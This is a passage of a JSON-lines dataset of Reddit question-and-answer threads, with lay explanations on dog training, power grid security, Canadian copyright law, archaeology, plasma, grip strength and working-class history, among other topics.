use universal commands.  She reads my body language and tone very well. I also didn't and don't have a strict food or drinking or bathroom regiment for her. I fill her bowl with food twice a day and let her eat it whenever.  Anyway, I'm not sure why she is so good...luck perhaps.  ", "For positive reinforcement read Don't Shoot the Dog for your primer on operant conditioning theory. It's the book I wish I had started with in regards to clicker training. Then look to _URL_0_ for Training Levels for a step by step guide to conditioning desired behaviors. \n\nControl Unleashed, The Puppy Program is another excellent resource and can be purchased used on Amazon.  \n\nMany people still believe in what I will term traditional training; chain pops, belly rolls, etc. Yet many service dogs, some of the best behaved dogs on the planet, are trained solely with clickers. As are professional Hollywood actor dogs. So feel free to ignore the nay-sayers. They will also poo poo you by saying you must constantly treat despite the fact that treats are almost always phased out. Ignorance is frustrating, but don't let it dissuade you. \n\nExpect to not have much of a life for a few months post-dog, especially if a puppy. If you dedicate your time and energy up front it will save you years of grief later. \n\nEvery dog needs exercise and mental stimulation and companionship.  The backyard provides none of these things. Only have a dog if you want an indoor companion that you can commit 45 to 90 min daily to exercising. \n\nHave a vet cover what a healthy weight looks like. Many pets are overweight or obese and eat junk food dog food because it is cheap. Invest in your pet's health and research a high quality, protein rich food for your dog and then only feed appropriate amounts. \n\nOne last thing, it sounds ridiculous but brush your pet's teeth. Elk horn chews help, and brushing as well, to prevent plaque. If you don't your dog may need expensive anesthesia to have his or her gums and teeth cleaned yearly. My dog is 13 and has perfect teeth due to brushing, elk chews, and a healthy diet. Not a single cleaning has been performed. And no stinky dog breath!\n\n", "Simple one word commands and consistency."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["it.do"], [], [], [], [], ["http://sue-eh.ca/"], []]}
{"q_id": "deww1f", "title": "can someone explain the new discovery on how humans respond to oxygen (nobel prize in medicine)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/deww1f/eli5_can_someone_explain_the_new_discovery_on_how/", "answers": {"a_id": ["f2zm8vq"], "score": [52], "text": ["We already knew that our cells variate their oxygen uptake. These cell biologists now found the protein that measures the oxygen level within our cells (and decoded its structure). Now we can work on manipulating this protein to fight different illnesses like cancer. \nCancer cells as an example need much oxygen because they want to grow fast. If we could now \u201etell\u201c the cells around the cancer (by manipulating our new protein) that they have a high oxygen level, so don\u2018t take up that much, the cancer cells won\u2018t get enough oxygen by teir surrounding tissue and therefore slow down in growth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "au9dzk", "title": "for years nsa has raised concerns about the us power grid being hacked. what can the us do to protect the power grid? going green is critical for all, if nations are unable to protect their power grids, will that slow going green?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/au9dzk/eli5_for_years_nsa_has_raised_concerns_about_the/", "answers": {"a_id": ["eh6iylh", "eh6j1qm", "eh6jm06", "eh6o2je", "eh6pgux"], "score": [75, 10, 3, 2, 2], "text": ["First, I think you're connecting two things that aren't connected. Going green, that is using more renewable energy sources, is not connected to the security of the electrical grid.\n\nSecond, hardening the electrical grid against a cyberattack is an ongoing process. Most electric companies are private organizations but they work with various government agencies to coordinate a defense and restoration plan in case of a cyberattack. The exact details of what they're doing are understandably secret but they involve things like keeping control systems isolated from publicly accessible networks and providing manual overrides in case the automated systems are compromised.\n\nYou can read more in this government report if you're interested. _URL_0_", "We will never get to a point of 100% safety from foreign interference or attack in many aspects of our daily lives. \n\nThe best suggestion I can give you if you\u2019re really concerned is to install your own solar panels, battery system, etc. \n\nI don\u2019t think that the security of our infrastructure is that related to the speed of green energy adoption. That\u2019s basically going to come down to the advancement of technology and public policy that incentivizes people to go green when it\u2019s cheaper than the alternatives. \n\nWhile a lot of people on Reddit will agree that going green is critical to all, many more people will only take action when it\u2019s in their shortsighted best interest\u2014 not because of an ideology of conservation and planetary health. ", "Going green generally involves more diffuse power generation (many many more sources of power, each producing far less). This is a double edged sword for security since the attack surface area is much larger. However, an attacker who gains control of a single small array of solar panels, or a single battery substation, isn\u2019t going to accomplish very much. This is in contrast to today, where gaining control of a single power plant could disrupt tens of millions easily.\n\nThere are some complex ancillary effects though. A modernized grid (practically a requirement for any serious decarbonization) would have a significantly higher number of \u201csmart\u201d controllers than the current system. This is dangerous for two reasons. One, it\u2019s again more surface area for attack. But two, it\u2019s also more surface area for leapfrogging into other attacks. Smart home devices are often compromised, not for the ability to control Joe Smith\u2019s hallway light bulb, but for the ability to use that tiny computer as a slave nose to launch other attacks on unrelated things.\n\nThis is probably the more serious danger. Securing the grid is very achievable, and while logistically complicated, all ultimately something we understand. Distributing power generation, storage, and control more broadly isolated any potential impact an attacker could have directly on the grid. But the rest of the connected world might feel more pressure due to larger DDoS attacks and more complicated attribution.\n\nUltimately, the problem of figuring out how to fully decarbonize (especially if people are dead set against fission) is a much more challenging one than figuring out the security of the grid.", "As others are saying, both are issues pretaining to our power grid that are becoming more prominent over time, but that's where their connection ends.  The security flaws in the grid don't change much whether the grid is green or not.  And the Eco-friendliness isn't affected by the levels of security implemented.\n\nAs for the threats of hacking the grid, this is only really an option for a country willing to declare war on the United States, and isn't quite as far reaching as it may seem.  Their ability to harm is via power grid is lessened by three factors.\n\nThe first factor is admittedly one of the more obvious ones, but power outages are common enough for most of our important electrical machinery to shut down gracefully, without causing severe damage.\n\nThe second factor is the isolation of different power grids.  The LA grid has no reason to affect NY, so they need to compromise both power grids and act on that attack simultaneously if they want both LA and NY.\n\nThe third is that the level of security will be vastly different for military electrical grids.  They may wreck havoc on civilian power grids, but they can't affect any targets with strategic significance.\n\nTLDR, if a foreign power tries anything like that, they could only really cause just enough damage to risk WWIII, but not enough damage to actually help them in WWIII.", "We know our cybersecurity for infrastructure is pretty weak. In 2012 they tried to pass regulations to require a certain level of security, but it failed to even make it to the floor because it involved regulations.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ferc.gov/legal/staff-reports/2017/06-09-17-FERC-NERC-Report.pdf"], [], [], [], ["https://www.cnet.com/news/republicans-block-vote-on-cybersecurity-bill/"]]}
{"q_id": "fpxd3n", "title": "I am Dr. David Silkenat, here to discuss my recent book 'Raising the White Flag: How Surrender Defined the American Civil War'", "selftext": "I am a Senior Lecturer in American History at the University of Edinburgh in Scotland. I\u2019m the author of several books on the American Civil War, most recently Raising the White Flag: How Surrender Defined the American Civil War (UNC Press, 2019). I\u2019m also the Chair of the Scottish Association for the Study of America and co-host of the Whiskey Rebellion podcast.\n\nHere\u2019s the blurb for the book from the publisher\u2019s website:\n\nThe American Civil War began with a laying down of arms by Union troops at Fort Sumter, and it ended with a series of surrenders, most famously at Appomattox Courthouse. But in the intervening four years, both Union and Confederate forces surrendered en masse on scores of other occasions. Indeed, roughly one out of every four soldiers surrendered at some point during the conflict. In no other American war did surrender happen so frequently.\n\nDavid Silkenat here provides the first comprehensive study of Civil War surrender, focusing on the conflicting social, political, and cultural meanings of the action. Looking at the conflict from the perspective of men who surrendered, Silkenat creates new avenues to understand prisoners of war, fighting by Confederate guerillas, the role of southern Unionists, and the experiences of African American soldiers. The experience of surrender also sheds valuable light on the culture of honor, the experience of combat, and the laws of war.\n\n[_URL_2_](_URL_2_)\n\n\\*\\*\\*\\*\\*\\*\\*\n\nFolks,\n\nIt\u2019s dinner time now in the UK, so I need to log off. Thanks for all the excellent questions. If you\u2019re interested in Raising the White Flag, UNC Press is running a great 40% off sale now:\n\n[_URL_3_](_URL_1_)\n\nIt\u2019s also available on Amazon and other online sites:\n\n[_URL_4_](http://_URL_4_)\n\nYou can check out my podcast, The Whiskey Rebellion:\n\n[_URL_0_](_URL_0_)\n\nFollow me on Twitter: (at) davidsilkenat\n\nThat\u2019s all for now. Stay safe, everyone!\n\n & #x200B;\n\n & #x200B;", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fpxd3n/i_am_dr_david_silkenat_here_to_discuss_my_recent/", "answers": {"a_id": ["flng2i2", "flngprv", "flngqq7", "flngrn3", "flnhmw3", "flnkiv8", "flnm0xz", "flno8zh", "flnooan", "flnrkja", "flnsg3q", "flnth9q", "flnzo7r", "flo0roc", "flo0srl", "flo1otm", "flo2mc1", "flo48xe", "flo6bg7", "flo7r6l"], "score": [17, 34, 84, 11, 74, 16, 23, 3, 6, 4, 5, 6, 4, 3, 3, 3, 2, 4, 8, 2], "text": ["Hi! Thanks for being here and answering our questions. Speaking of which, and this might be a gimme, but how did the South's policies influence the attitudes of black Union soldiers and civilians regarding surrender?", "Were soldiers (from either side) who surrendered treated poorly when they returned home? Did that change as the war progressed?", "Hello Dr. Silkenat, thanks for doing this.\nAs a researcher on desertion and defection during another American conflict, the Vietnam War, I\u2019m very interested to hear about the process of defection during the American Civil War. Defection ostensibly involves surrender followed by integration - how did this process look during the Civil War?", "Hi David! Love your work (and you are a great Twitter follow!). Quick question: how did policies around wounded soldiers and medical personnel during surrenders change over the course of the Civil War?", "Something that is always fascinating to me is the parole system and its mechanics. How widely was it respected prior to its break-down midway through the war, and how effective was enforcement of it by the opposing sides, lacking the kind of modern tools we would have to check identity?\n\ni.e. if a soldier gave his parole and went home, how likely would it be that he is back in the ranks fighting? How much did that depend on North v. South in respecting it? And if captured a second time, what was the chance it would be recognized he violated his parole?", "Hi David!   \n\n\nFormer student here - was surrender in the conflict defined by the fact that it was a civil war as opposed to war against another country/external enemy? Is how surrender worked in the ACW comparable to other civil wars elsewhere?", "Thank you very much for this fascinating AMA. I'm wondering, how did concepts like 'Southern Honour' play into some of the big surrenders during the civil war? It doesn't sound like their was any real kind of emphasis on a death before dishonour kind of thing. Was honour something the combatants considered?", "Could you comment how the thrust of your book was applied to the most western theaters of the civil war? Like Carson's campaign against the Navajo.", "Hi Professor, thanks for doing this!  I always thought that the ACW was an especially difficult war to surrender or be a POW in due to my impression of disease and starvation in confederate-managed prisons and the execution of black soldiers.  I\u2019m not well educated on the topic though, so how did conditions compare to the expected standards at the time?  If they were as bad as I thought, why did relatively so many soldiers surrender anyway?", "How did wartime surrender compare to peacetime occupation during Reconstruction? Did honor culture change in the former CSA after the war? This armchair historian is curious.", "Hello Dr. Silkenat! You mentioned elsewhere that surrendering soldiers were often treated as heroes when they returned home. Was surrender as a whole seen as a noble act during the Civil War? What was the popular view of soldiers who had surrendered, both in the Union and Confederacy?", "Hi Dr. Silkenat, \n\nMy question is, was surrender in the Civil War notably different than previous wars? As in, did surrender in the War of 1812 differ in specific ways from surrender in the Civil War?", "Do you know if there is any recorded evidence of someone surrendering to a family member? Maybe a solider surrendered to a unit that included his brother or cousin fighting for the other side?", "Presuming that your focus is on land combat, but did you know whether the experience of surrender was different when serving in either the US or CS navy?", "Hi Professor,\n\nI hope to study History at Edinburgh next year so this is very cool but regardless my question is: why do you think that America has shifted away from seeing surrender as a net positive or honorable thing? Is there an effect on surrenders when conflict is domestic versus abroad (ie Revolutionary War vs Korea etc) or would any affect therein just be attributed to the times?", "How did surrendering work on Sherman's march? Where there any and if so how was it handled behind the Confederate lines?  On a side note, how do you view Sherman's march in general?", "A long time ago a teacher of mine mentioned a phenomenon that happened in certain PoW camps where prisoners would form gangs to secure resources from the other inmates for themselves. Did this happen and if it did, how extensive was it? Who would they typically target?", "Hi Dr. Silkenat,\n\nI know your book is primarily about surrendering. But I was wondering what your take on deserting during the conflict is. Whether surrendering or deserting, a soldier is giving up on their duties. Yet as the war progressed I've read that both sides got progressively harsher on handling deserters. How much of a difference did you find in deserter's treatment by comrades, commanders, enemies, and those at home compared to soldiers who were captured in other ways? Do you personally think the discrepancy in treatment makes sense?", "Have you gotten any hate mail yet from disgruntled white supremacists?", "Thanks so much for doing this! \n\nI\u2019m curious if the nature and frequency of surrender changed throughout the war as word got out about conditions inside prison camps. For example, would soldiers in 1864 have been more reluctant to surrender than in 1862 knowing some of the details of what was in store for them inside some of the more notorious camps?   \n\nIf I may ask a second question, were mass surrenders organized affairs lead by officers or were they generally more haphazard in nature?  \n\nThanks again, I look forward to reading your book (just bought it on Amazon)."]}, "title_urls": [], "selftext_urls": ["https://whiskeyrebellion.podbean.com/", "https://uncpress.org/book/9781469649726/raising-the-white-flag/", "http://uncpress.org/book/9781469649726/raising-the-white-flag/", "uncpress.org/book/9781469649726/raising-the-white-flag/", "www.amazon.com/gp/product/1469649721/", "http://www.amazon.com/gp/product/1469649721/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2quoe1", "title": "how will the copyright modernization act make piracy more risky in canada?", "selftext": "So my brother, a very anti-piracy game developer, is spreading this around:\n\n_URL_0_\n\nApparently it's a change to some Copyright law that goes into effect on January 1st, 2015, and he says its going to make piracy in Canada much more legally risky.  I'm having a hard time parsing the legalese in this web page - can someone explain how this particular document is going to lead to me getting arrested/fined for downloading a movie on bitttorrent?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2quoe1/eli5_how_will_the_copyright_modernization_act/", "answers": {"a_id": ["cn9okwx"], "score": [9], "text": ["The supreme court had previously held that making private copies available for use by others was legal in Canada (see BMG vs. John Doe). As such, there was no legal copyright infringement that copyright holders could use as leverage to get (the subpoenas required to get) ISPs to disclose the identities of the file sharers; the court upheld that the sharer's right to privacy trumps all.\n\nWhat this law (the Copyright Modernization Act) does is create a hole in the above. Copyright holders can issue a notice to ISPs saying \"I know one of your users is sharing my material. Here's his IP address\". The ISP has to send a notice to the user \"Hey, BMG is asking for your identity\"... and having delivered that notice, the ISP now has to answer requests for your identity. If it doesn't the copyright holder can now sue the ISP for damages.\n\nThanks Harper!\n\nTL;DR - Canadian file sharers will now no longer be immune from lawsuits."]}, "title_urls": [], "selftext_urls": ["http://www.ic.gc.ca/eic/site/crp-prda.nsf/eng/rp01188.html"], "answers_urls": [[]]}
{"q_id": "16ou1f", "title": "Could burying our dead under ground make human remains look deceptively older to future archeologists?   ", "selftext": "Cant six feet of dirt represent thousands of years in the fossil record? Could this cause confusion to future archeologists who have no knowledge of our weird burial rituals?       ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16ou1f/could_burying_our_dead_under_ground_make_human/", "answers": {"a_id": ["c7xynt4", "c7xypnq", "c7ypyv7"], "score": [2, 9, 3], "text": ["Seeing as how graveyards contain hundreds or even thousands of bodies buried in the same fashion, I would have to guess no.", "You can easily tell a grave shaft from normal soil deposits in most cases. The soil will have different consistency, may have datable items in the fill, and may even be a different soil altogether. The natural strata will be disturbed by the process as well. For instance, when I excavated graves in Virginia, even just taking off the topsoil showed clear precise outlines of grave digs over a century old (basically big dusky red rectangles in brown soil), as different strata were mixed and placed back in a different deposit procedure than the natural surround (i.e. by shovel rather than erosive forces). There'd be some soil mixing over time due to the efforts of animals, among other plausible forces, but I expect by the time the signs had decayed so much as to become unrecognizable, the time-period uncertainty represented by the difference in elevation would be smaller than the general uncertainty.\n\nIt's also worth noting that 'depth' is not the sole measure of age used, and there are typically plenty (and better) clues outside of it.", "We've been burying our dead for a very long time. Neanderthals buried their dead (in fairly shallow graves, but still), and all *Homo sapiens* bury their dead or treat them in some way (though not all \"burials\" are burials. For instance, it's common in mountainous places to basically use caves as crypts and place dozens of bodies or mummies in them). The specific 6 feet under rule of modern Western burial practices is just a specific depth but people have been burying the dead for a long time.\n\nAll of stuthulhu's points are very valid. We can tell soil disturbances during excavation, and with modern technology (specifically ground-penetrating radar, which will no doubt be even more commonly used in the future) we can highlight where the soil has been disturbed without even digging, so we can find grave shafts before digging them.\n\nBut I just want to emphasis that we don't date things by how deep they are. Soil forms at different rates in different places, even two different micro-environments right beside each other. For instance, in eastern North America you had glaciers scrape everything clean until about 13,000 years ago. In most fields, you dig through about 30cm of topsoil before you see a distinct change in soil colour (which we call glacial subsoil), so this 30cm of dark soil on top of the subsoil represents about 12-13,000 years. But if you go down onto the floodplain of a major river, which floods regularly and deposits sediment when it does, you can dig through 1-2 metres of soil and get to a layer that is only a thousand years old. \n\nSo the actual depth is meaningless, because soil forms at different rates in different places. What we have to do to date something is date it by association with something else in that layer. Say I have a stone tool (which cannot be dated by radiocarbon dating) and a corn kernel in the same 5cm layer of soil. I can date the corn kernel and then we assume that everything within that same 5cm layer as the kernel is approximately the same age as the kernel. So we date the soil depth based on something that we find in it. Now, bones can be dated directly by radiocarbon, sometimes, so we might not even need to know how deep it was, we can just date it directly. \n\n**TL;DR** Our burial rituals aren't particularly weird, and soil depth is meaningless because soil accumulation (and degradation) occurs at wildly different rates over even a very short distance. We have to date something either directly using other means (radiocarbon dating being the most common for anything younger than 50,000 years old), or by association with something that we can date directly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "x8o5m", "title": "how do engine magnetos work and how do they generate electrical power?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/x8o5m/eli5_how_do_engine_magnetos_work_and_how_do_they/", "answers": {"a_id": ["c5k77wl"], "score": [2], "text": ["When you run a magnet near a wire it will make electric current in the wire. As long, as magnetic field will change (by moving magnet or wire), there will be current. \n\nIf you have more wire, you can get more current, so it's wrapped in coils. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4lmzqk", "title": "in what way is the skin inside your mouth (always wet) different than the skin on the rest of your body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lmzqk/eli5_in_what_way_is_the_skin_inside_your_mouth/", "answers": {"a_id": ["d3oli3m"], "score": [14], "text": ["The skin in your mouth is living cells that is constantly lubricated by saliva. The skin on the outside surface on the other hand is living cells coated with a layer of dead cells and is filled with a substance known as keratin which gives it excellent protection from the wear and tear of everyday activities. Also areas on your body that experience more wear and tear have a thicker layer of dead cells for increased protection(like your soles and palms). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "54pzkl", "title": "[Physics] Is my teacher wrong about plasma?", "selftext": "My teacher says that plasma is a stage between solid and liquid form. That dosen't seem right to me since I thought it was: Solid - >  Liquid - >  Gas - >  Plasma.\n\nAm I confusing things or is my teacher wrong? Is there something he could have confused it with?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/54pzkl/physics_is_my_teacher_wrong_about_plasma/", "answers": {"a_id": ["d841ci3", "d841rcs", "d8448rv"], "score": [144, 16, 8], "text": ["Plasma is certainly not a phase \"between solid and liquid\". I'm not a big fan of the \"ranking\" of phases from solid - >  liquid - >  gas - >  plasma as it implies that these are states that exist on a line. In reality, phase transitions can happen between a solid and gas, for example, skipping the liquid phase entirely.\n\nPlasma is essentially a gas that has been ionized. That is, neutral molecules in the gas were stripped of some of their electrons, leaving both negatively charged electrons and positively charged ions (and sometimes negative ions as well, created by the chemistry inside the plasma). \n\nOne way to reach this state is to simply heat up a gas more and more until eventually the gas starts to become ionized. This is behind the common notion of plasma being a superheated state of gas. But there are also other ways to ionize a gas. \n\nApplying a sufficiently strong electric field will do the trick and this allows for the creation of so-called \"low-temperature plasmas\" (or \"cold plasmas\"), which are essentially at room temperature (note: in low-temperature plasmas, a distinction is often made between the temperature of the electrons and the temperature of the ions and the rest of the gas. While the temperature of the rest of the gas can be low, the electron temperature often is not), and can be safe to touch.\n\nAnother oddity in the categorization of plasma as a fourth phase of matter is that a gas need not be fully ionized in order to be a plasma. In fact, many plasmas on Earth have a relatively low degree of ionization, which means that a large part of the material is actually just gas, with some ionization mixed in which gives it the properties of a plasma.\n\nSo, to conclude, putting plasma on the far end of the \"phase line\" is a common thing to do and matches with the method of creating plasmas by simply heating a material enough. But it's not the entire story as plasmas can be created in other ways as well and often are not even fully comprised of charged particles. However, the classification of plasma as a stage between solid and liquid is definitely wrong.", "Your teacher isn't right, and as /u/Rannasha points out the whole ranking of phases doesn't really make sense. However, liquids and plasmas do have a feature in common, which is charge screening. If you have ions dissolved in liquid (like salt in water), and there is a charged surface in contact with the fluid (e.g. glass tends to become negatively charged in water), the opposite ions will move closer to the surface and the like ions will move farther away, forming what's called an electric double-layer. This isn't usually encountered in early chemistry classes because everything is treated as pure and neutral, which is not the case when you get to more complex systems. Anyway, plasmas also do this.", "There is no \"order\" that the phases exist in. We typically have \"phase diagrams\" ([like this one, for water](_URL_1_)) which describe the state of a substance for different temperatures and pressures.\n\nYou can have solid water at high temperatures... if you apply enough pressure. You can have water vapor at very low temperatures... in a vacuum.\n\nWe don't traditionally put a plasma state on phase diagrams. And I don't know how proper it would be to do this, considering you essentially have made a fundamental change to matter when it is ionized. But [here is an example of what water might look like](_URL_0_) if you include a plasma phase on the diagram.\n\n*Technically*, we could draw a line which crosses from solid to liquid with plasma in between. Which means we could take some solid water and alter the temperature and pressure at linear rates so that we get plasma and then liquid. \n\nBut in general I'd say your teacher is wrong. That's an odd way to describe plasma and it certainly doesn't paint an accurate picture, if that's all he said and there's no more context. I'm skeptical that he had in mind what I described above."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://openi.nlm.nih.gov/imgs/512/386/3269739/PMC3269739_ijms-13-01066f6.png", "https://openi.nlm.nih.gov/imgs/512/386/3269739/PMC3269739_ijms-13-01066f5.png"]]}
{"q_id": "7u2ipx", "title": "what is \"old man\" strength?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7u2ipx/eli5_what_is_old_man_strength/", "answers": {"a_id": ["dth1uag", "dth2ip4", "dth31ze", "dth4qst", "dthgpex", "dthpu2y", "dthxlww", "dti8bwe"], "score": [26, 72, 3, 153, 6, 2, 28, 2], "text": ["Studies have actually proven that men tend to peak in physical strength at around 35-40 years old. That\u2019s certainly not \u201cold man\u201d age, but it does show that men get stronger with age\n\nWhat many people refer to is how older men will absolutely crush your hand during a handshake, and that is mostly due to the fact that they have been practicing handshakes for decades, and are going to be able to have much better technique. ", "Old man strength is nothing special you gain with age, it's just when we're surprised by how strong Grandpa still is. After all, he just took five minutes to get out of his chair without his joints exploding, so we definitely didn't expect him to casually break loose the stuck jar lid Junior was struggling with.\n\nBecause of their appearance and mannerisms, we think of old people as being frail and weak, but they're often far stronger than they look. It's unlikely an 80-year-old will actually be stronger than a 40-year-old, but the difference in their strength may be smaller than the difference in their appearance. We're occasionally reminded of that and it surprises us.", "It\u2019s a term that has a lot to do with the connecting tissues, and the tendons being stronger. But also how the muscles work as a whole, and the experience behind the muscle. Think of it like a tug-of-war. The tug-of-war game is based on the strength of the group as a whole, it has an anchor person, and a front line person, and the people in the middle giving strength to the front line person. \n\nFor a high school kid, who may look the same size or even much bigger than a grizzly 40-60 year old man, his strength is a bunch of strong kids that get the concept of the game and individually may be stronger but as a whole don\u2019t work together as well or as coordinated. Also their anchor and front line(tendons) are not going to be nearly as strong. \n\nWhereas the \u201cold man\u201d has well developed anchors and front line(the tendons) and his middle(the muscle)  know exactly how to pull in sync with the front line guy and invariably they will win, even if they are cumulative smaller than the opposite side. \n\nEssentially the \u201ckid\u201d has the weakest players in the position where the \u201cold man\u201d puts his strongest, and that allows an advantage. \n\nKid: xxXXXXx\nMan: XxxxxxX\n\nMan will win with the right technique most of the time. \nKid may have the upper hand with a burst of strength at the right moment. ", "Nobody's mentioned this, so I figured I'd give my $0.02. Old man strength is typically from those who have been performing some form of physical labor for a long time, and have such developed incredible grip strength. This is the part that /u/WOT_IF_UR_LEGS is talking about where it feels as if they can crush your hands. Additionally, what they may lack in raw power, they make up for from years of lifting heavy objects and have developed a proficiency in it so that they may look a lot weaker (old man) than they really are (strength).", "* older people, men in particular, are more likely to have engaged in physical labor all of their lives, leaving them with muscles, bones, tendons, joints, and pain tolerances better suited to feats of strength\n* while coordination and endurance suffer as we age, people often retain much of their raw strength, and it can be unexpected to find a man who has trouble climbing a flight of stairs will has a vice-like grip\n\nIn either case, they are not stronger than they were at the prime, just strong they most people would expect them to be.\n\nMy mom worked in nursing homes, and mentally incapacitated older male patients were often a problem.  They weren't necessarily violent, but they often got confused, and if they didn't want to do something, it was often difficult, or even dangerous, to try to make them do something.  They were just as strong as any nurse or orderly, even if they were in a wheelchair.", "A lot of it is knowing how to lift, hold, or grip things. I find myself out doing my son and his friends with tasks and chores and I believe much of it is do to experience not sheer strength.", "Young men today actually have weaker grips than men did 30 years ago, and likely in generations prior to that.  Grip strength is often used as a proxy for general body strength in populations.\n\n\"In 1985, men ages 20-24 had an average right-handed grip of 121 pounds and left-handed grip of 105 pounds. Today, men that age had grips of only 101 and 99 pounds, the study found. Men 25-29 posted losses of 26 and 19 pounds.\"\n\n_URL_0_\n\nThe truth is that men today are likely weaker than any recent generations of men.  This is probably due to obvious shifts in physical activity for pleasure and for work.", "in actual fact, men and women get progressively weaker after about the age of 35. this loss of muscle mass and strength is termed sarcopenia and really accelerates in the 6th and 7th decades of life. its associated with a loss of neural tissue in the spinal cord and decreases in concentric muscle tension/power. the interesting thing is that there is a disproportionate maintenance of eccentric (or muscle lengthening) strength in old men that is likely due to muscle architectural modifications. so it really depends on what you define old as, in addition to the training history of the individual in question. likely people who have strength trained their whole lives are able to buffer the inevitable muscle mass decrements seen in aging by already having large musculature. i did my masters in a lab that focused on muscle function in aging humans"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.npr.org/sections/health-shots/2016/06/13/481590997/millennials-may-be-losing-their-grip"], []]}
{"q_id": "fjbxnv", "title": "The Working Class Histories Floating Feature: A open thread to share and give voice to the histories of working class people through the ages!", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://i.redd.it/9pw66tgqkxm41.png", "answers": {"a_id": ["flgudxu", "flh3apa", "flhktwb", "flhq2jx", "flmxoi2"], "score": [31, 19, 22, 8, 9], "text": ["(1/7)\n\n##**Working Class History: What it is, What it isn't, and Why it matters**\n\n*History Upside Down* is first and foremost about creating a space on AskHistorians for our contributors to share stories about the past featuring individuals and groups who don't, for all manner of reasons, get the attention they deserve - whether that's within academic history, in the pages of books that fill highstreet bookstores, or on the subreddit itself. We are running the series to give an opportunity for our existing contributors to share knowledge and insights on topics they don't very often get to discuss, and to encourage those who have knowledge but face barriers to sharing it - whether that's a lack of opportunity to answer questions or a worry that they aren't good enough - to do so with our community. To open the series though, and to illustrate why the approach we've taken is so important, I want to do something a little bit different. You'll get some actual history from me in later threads when we venture near my areas of expertise. Instead, this essay is going to be a very personal exploration of what working class history is and why it matters from my perspective, as a working class man who never in a million would have believed he'd one day be volunteering alongside professional historians and accomplished scholars on the team that runs the world's largest forum for the discussion of academic history.\n\n###What do we mean by 'working class'?\n\n'Class' is an extremely complicated thing. There is no singular definition of what historians and sociologists mean by the word class that doesn't come with the need for some kind of caveat or further explanation. The understanding of class individual scholars have is invariably informed by their own life, their private moral and political philosophy, the nature of the work they're doing, and their own nation or region's historic relationship with the idea of class. For some people class is a straight forward thing; for others it is very complicated and multi-layered. The challenge of agreeing on a concrete definition of class is perhaps best evident in considering the question of whether or not an individual can truly move between classes in society, and if they can, how difficult that process is. Much as historians try, there isn't - or at least I don't think there is - any way to perfectly set aside our own political and moral views when trying to decide what we mean by class. It's an inherently political question rich with implications for public policy and moral philosophy in the here and the now, not just the past.\n\nStill, there are working definitions that we can use even if they don't fit every need or every understanding perfectly. Class as most scholars use the term is probably best defined as a large group of people occupying a place in the hierarchy of a society, defined first by economic status; second by a shared set, or category, of social norms and experiences; and third by the relationship with other classes in the hierarchy. Crucially - and this really is essential to understand - class isn't just about how much money or the way you live your life *now*. Class is shaped very heavily, in most people's cases decisively, by the formative experiences you have before your adulthood. Whilst your economic circumstances can change through time, it's these formative years that tend to exert the greatest influence on the social norms and values you develop and the relationship you have, good or bad, with people and things associated with other classes. This makes class a much more complicated thing than simple wealth or income. Many readers will have heard the term *nouveau riche* or *new money* somewhere before; a usually derogatory term used to refer to people who have acquired considerable wealth but, not having been born with and raised in it, are not seen by those who inherited wealth to share the values, traditions or subtle social conventions of the upper classes.\n\nThings get even more complicated when we talk about how we define each individual class within a hierarchy. The idea of an 'upper class' is pretty straight-forward; whilst there's disagreement over the boundary, we all know that there are some individuals in the world who come from families who come from very old money and live lives quite alien to the vast majority of us, and that there are other individuals who are wealthy almost beyond comprehension. Pretty much every system of understanding class has some kind of 'upper class' in it. It's the other classes in a hierarchy that are hardest to define. Some people advocate for a straight-forward binary model: the upper class consists of those who primarily benefit from the labour of others, usually representing a single-digit percentage of the population, and the rest of the world is a super-class of people who primarily depend on their own labour. This isn't quite what Karl Marx and Friedrich Engels meant by class - the Marxist class framework is a bit more complicated than that even in its original form - but it's essentially the same idea. At the other end of the spectrum, you will find something like *Mosaic*. *Mosaic* is a British system developed by the credit referencing agency Experian for market research and political campaigning purposes. It has 8 social classes who also exist parallel in a set of 11 master categories, which in turn divide into a total of more than 60 distinct demographic groups in society, all partly classed based. Whilst a sociologist's dream for looking at the world today this is probably much more detail than could ever be useful to the historian given that norms and values and traditions across classes are likely to be in flux in the periods we're studying. That's to say nothing of the fact we almost certainly don't have the body of material evidence we'd need to construct such a granular segmentation model of most historical societies.\n\nAnd therein lies another challenge: class, as a concept, is not universally and neatly applicable to the entirety of human history in the way we generally understand it in the 21st century. Our modern understanding of class is overwhelmingly rooted in the events, politics and social norms of the last couple of centuries of European and to a lesser extent North American history. Once we start reaching into the pre-industrial era the ideas we have about class today become harder and harder to extrapolate back. Human societies have always been stratified along socioeconomic lines, yes, but the form and fluidity of those hierarchies has changed radically through the centuries. It's probably not possible to talk about anything resembling our modern class structures in Ancient Rome or Ancient Greece for example. And many think that our understanding of class in popular culture and academic research alike lags behind the reality of the 21st century with all the added layers of complexity to our economy and social orders technological innovation and changes in the global pattern of industrialisation have brought. All of this makes writing class-based histories extremely challenging if we don't want to fall into the trap of anachronistically 